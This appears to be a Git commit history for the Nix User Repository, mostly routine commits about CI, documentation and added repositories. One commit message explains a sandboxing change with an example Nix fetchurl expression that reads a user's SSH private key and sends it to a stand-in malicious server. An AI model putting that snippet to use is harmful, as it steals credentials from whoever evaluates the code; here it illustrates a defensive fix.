Commit graph

56 commits

Author SHA1 Message Date
Jörg Thalheim
2cf462000d add .editorconfig 2018-07-01 21:54:05 +01:00
Jörg Thalheim
ea885b799b
Merge pull request #17 from nix-community/modules
modules, overlays, lib
2018-07-01 17:25:17 +01:00
Jörg Thalheim
4fb993324f modules, overlays, lib
fixes #10
2018-07-01 17:23:58 +01:00
Jörg Thalheim
85e482af63
Merge pull request #16 from nix-community/safe-eval
restrict evaluation of repos
2018-07-01 15:58:14 +01:00
Jörg Thalheim
a50860fcbb restrict evaluation of repos
It should be save for users to evaluate nix code.
Therefore we restrict evaluation of repositories.
Otherwise an attacker could leak confidential data, i.e.:

fetchurl {
  url = "https://malicious-server.com/log-key?content=" + (builtins.readFile "../../.ssh/id_rsa");
  sha256 = "43c2c9e5e7a16b6c88ba3088a9bfc82f7db8e13378be7c78d6c14a5f8ed05afd";
}
2018-07-01 15:50:39 +01:00
Jörg Thalheim
92cc62fbf9
Merge pull request #15 from nix-community/manifest-formmatter
test & automate format of repos.json
2018-07-01 13:58:01 +01:00
Jörg Thalheim
3f515f8bab test & automate format of repos.json
fixes #12
2018-07-01 13:56:51 +01:00
Jörg Thalheim
9c375326b4
Merge pull request #14 from nix-community/custom-file
allow to specify nix file that is sourced from repository
2018-07-01 12:04:33 +01:00
Jörg Thalheim
9a9ce070b4 allow to specify nix file that is sourced from repository 2018-07-01 12:03:01 +01:00
Travis CI
025d3b28c3 automatic update 2018-06-30 22:23:01 +00:00
Jörg Thalheim
a157a3e8b9
Merge pull request #11 from dywedir/patch-1
add dywedir's repository
2018-06-30 23:07:26 +01:00
Jörg Thalheim
8632d60a31
Merge pull request #6 from jpotier/master
add eeva's repository
2018-06-30 23:07:04 +01:00
Vladyslav M
e8e2a13bd4
add dywedir's repository 2018-07-01 00:21:34 +03:00
Travis CI
f954b5490f automatic update 2018-06-30 19:01:29 +00:00
Jörg Thalheim
5986392864
Merge pull request #9 from nix-community/travis-fixes
fix prefetching bare git repositories
2018-06-29 23:22:27 +01:00
Jörg Thalheim
9df1b2a19f fix prefetching bare git repositories 2018-06-29 23:20:39 +01:00
Jörg Thalheim
7359f842fa
Merge pull request #8 from nix-community/travis-fixes
nur/update: also include nix-prefetch-git in script closure
2018-06-29 22:52:47 +01:00
Jörg Thalheim
6369f21e54 nur/update: also include nix-prefetch-git in script closure 2018-06-29 22:50:40 +01:00
Jörg Thalheim
d3e889ad88
Merge pull request #7 from nix-community/travis-fixes
build fixes
2018-06-29 22:47:06 +01:00
Jörg Thalheim
8e42c602ef don't unset environment 2018-06-29 22:45:14 +01:00
Jörg Thalheim
eea33c0e02 use nix-shell shebang rather then travis's python 2018-06-29 22:38:17 +01:00
Jörg Thalheim
8c491f926b Only decrypt deploy key in travis cronjobs 2018-06-29 22:33:54 +01:00
Jörg Thalheim
9becf30be3 add pull request template 2018-06-29 22:23:59 +01:00
eeva
fba3944172 add eeva's repository 2018-06-29 23:52:41 +03:00
Jörg Thalheim
1ed852e8a6 LICENSE: correct authors 2018-06-29 21:42:20 +01:00
Jörg Thalheim
e071be80f4 README.md: fix meta.broken remark 2018-06-29 20:57:29 +01:00
Travis CI
22f5c4a02a automatic update 2018-06-29 19:00:57 +00:00
Travis CI
adefb37b9f automatic update 2018-06-29 18:43:14 +00:00
Jörg Thalheim
11a496ed57 README.md: grammar nit 2018-06-29 19:12:06 +01:00
Jörg Thalheim
8851e1a132 README.md: add contribution guideline 2018-06-29 19:10:41 +01:00
Jörg Thalheim
7bd1b63c65
Merge pull request #5 from nix-community/grahamc-patch-1
Proof-reading
2018-06-29 18:06:00 +01:00
Graham Christensen
ef7112c6c8
Proof-reading 2018-06-29 18:05:14 +01:00
Jörg Thalheim
32a5e12394 README.md: small fixes 2018-06-29 17:55:35 +01:00
Jörg Thalheim
fa7b11c557 README.md: repo example 2018-06-29 17:38:21 +01:00
Jörg Thalheim
5bb26d12a9 default.nix: fix indentation 2018-06-29 17:35:13 +01:00
Jörg Thalheim
015f97644a add documentation 2018-06-29 17:24:57 +01:00
Jörg Thalheim
ed6326fb1e switch back to travis.com 2018-06-29 15:28:25 +01:00
Jörg Thalheim
a96b60fcf3 README.md: ci status link change to travis-ci.org 2018-06-29 15:22:07 +01:00
Travis CI
0721310a9a automatic update 2018-06-29 14:15:30 +00:00
Jörg Thalheim
819ac726ce travis: push current HEAD to master 2018-06-29 15:12:05 +01:00
Jörg Thalheim
0390269f21 fix push url 2018-06-29 15:08:11 +01:00
Jörg Thalheim
18baa79a40 travis: only push repos in cron jobs 2018-06-29 13:06:01 +01:00
Jörg Thalheim
259973f0cc travis: correct python version 2018-06-29 12:59:53 +01:00
Jörg Thalheim
a093afd23a deploy.sh: fix path to update script 2018-06-29 12:51:49 +01:00
Jörg Thalheim
c41c9da24c update deploy key 2018-06-29 12:50:04 +01:00
Jörg Thalheim
2210822b27 add auto-update script 2018-06-29 12:45:20 +01:00
Jörg Thalheim
351bfefbc3 generate default.nix from lock file 2018-06-29 12:15:26 +01:00
zimbatm
c183b44f4d travis: add basic build script
This just tests that the default.nix evaluates properly
2018-06-18 11:41:24 +01:00
zimbatm
f862362090 update.py: allow to build without argument
Generate the default.nix with a default pkgs argument so that it can be
used directly.
2018-06-18 11:41:13 +01:00
zimbatm
69ff5681d5 chmod +x nur/update.py 2018-06-18 11:40:28 +01:00